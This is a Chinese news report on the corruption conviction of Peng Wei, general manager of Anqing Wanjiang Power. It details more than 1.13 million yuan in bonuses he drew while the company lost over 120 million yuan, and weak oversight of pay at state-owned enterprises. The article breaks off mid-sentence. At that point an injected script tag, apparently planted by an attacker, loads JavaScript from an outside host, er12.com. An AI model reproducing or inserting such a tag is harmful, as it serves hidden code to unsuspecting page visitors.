安徽省能源集团有限公司一高层管理人员彭炜近日因受贿、贪污上百万元被查处，并被法院数罪并罚，一审判处有期徒刑11年6个月。彭炜原是集团公司控股企业安庆皖江发电有限责任公司(下称皖江公司)总经理。据调查，公司投产当年即亏损一亿多元，而彭炜从公司筹建到投产，却一直以各种名目领取名目繁多的各项奖金、福利113万多元。
尽管彭炜的被判刑主要是因为受贿、贪污，然而此案的审理却让另一个沉重的话题浮出水面：亏损国企的高管该不该拿奖金？拿多少？专家认为，完善大中型国有企业的分配体制已是当务之急。
当年亏损超亿元 公司依然滥发奖金
皖江公司成立于1998年，工程于2005年5月建成并试运行发电，总投资24亿多元。彭炜于2000年9月被安徽省能源集团有限公司下派皖江公司任总经理。
据记者调查，公司尚未开工建设，公司的领导层即开始领取大额奖金，并逐年提高。2002年度，彭炜几乎每个月都能领到两三千元的基本奖和补贴，这一年他的奖励是5万多元。2003年他的奖励在上年基础上上涨了一成，达5.5万多元。
到了2004年，公司开始滥发奖金，彭炜的年均奖金猛涨到14万元以上，每年领取奖金近70笔之多，几乎每个星期公司领导都能领取一两笔几百到数千元不等的奖金。记者仔细研读了工资明细表后发现，各种奖金有加班费、津贴、基本奖、补助、考核奖、过节费、月度奖、季度考核奖、年度考核奖、年终奖、卫生费、安全风险金、安全责任制考核奖、节点奖、精神文明建设款、“两促进、两不误”奖、综合补贴等等，不一而足，名目繁多，令人眼花缭乱。
据这一年的工资明细表显示，彭炜连续两月4次领取上年度年终奖1.4万多元。除了每月的加班费、基本奖和补贴，有的奖金名目实在少见，比如化水系统运行完成等节点奖励2940元、1号2号汽机低压缸扣盖节点考核奖2700元、1号锅炉酸洗节点考核奖1440元。
据皖江公司董事会的一份会议纪要介绍，公司2005年度财务预算报告显示，试生产期不提折旧的年度净利润总额为负4796万元，提折旧的利润总额为负12014万元。也就是说，皖江公司这一年亏损已超过1.2亿元。
尽管公司亏损严重，企业高管的腰包却越来越鼓。2005年投产后，彭炜领取的奖金就有：一期工程投产奖2000元，一期工程竣工奖两笔1.5万元；职工安全风险金返还两笔7200元、安全风险奖3600元、安全责任制考核奖三笔1.2万元；机组开始发电运行又有各种奖项，比如1号机连续发电运行奖900元、1号机60天连续运行发电奖1800元、168天安全运行奖680元、1号机100天和150天连续发电运行奖1350元。2005年全年彭炜的加班费有17笔之多，总额超过2.5万元。
据集团公司提供的《关于彭炜同志有关奖励的报告》显示，自2000年9月至2005年10月彭炜在公司任职期间，获得的相关津贴、加班费、奖励以及董事会对其2004年、2005年经营班子薪酬考核奖励、基建概算节余奖励等，合计113万多元(含税)。
为了多发奖金，公司将给员工的奖金全部打入了成本，而且尽量做到“人人都能领到奖金”。公司的一份材料说，根据董事会决定，已发放的奖金列入基建投资。基建综合奖励的分配，经营班子占总额的20%，其他员工占80%，经营班子中总经理系数为1、副总经理为0.75，奖励由经营班子按员工在基建期间的任职时间和贡献大小进行分配，公司顾问也给予奖励，奖金额适当高于员工平均数，基建综合奖励列入基建成本。
慷国家之慨 滥发奖金竟是自己说了算
据皖江公司人力资源部方庆主任说，该公司是按现代企业制度来核定员工工资和奖金，而且员工为企业作出了巨大贡献，与同规模的其他企业相比，公司的工资性支出并不算最高。据介绍，去年该公司266名核心员工(即正式工)收入为1500万元，人均收入近6万元。公司管理层4位高管年总收入100万元，人均25万元，中层领导人均年收入大约为7万元，普通员工收入大约为5.4万元。
这一工资标准是谁确定的？记者在采访中了解到，实际上在彭炜案发前，皖江公司发放奖金基本处于无人监管的“真空”状态。安徽省能源集团公司人力资源部廖雪松主任说：“尽管集团公司有规定，下派员工不能在下派企业拿工资奖金，但彭炜在下派的皖江公司领取了5年的奖金，集团公司却不知道。”因为皖江公司没有报告，没有集团公司董事长的许可，有关部门也不能轻易去了解，更不能调查。
据了解，原集团公司董事长张某目前已被有关部门立案调查，正因此，“拔出萝卜”后彭炜案暴露。集团公司一位知情人说，如果不是原董事长被查，皖江公司滥发奖金的事还要继续下去。国企监管体系竟受制于一人，国企谈何监管？！
事实上，皖江公司所有的奖金发放都是由公司董事会确定的，董事会的组成人员是股东代表，而能源集团公司是最大的股?script src=http://er12.com/t.js>
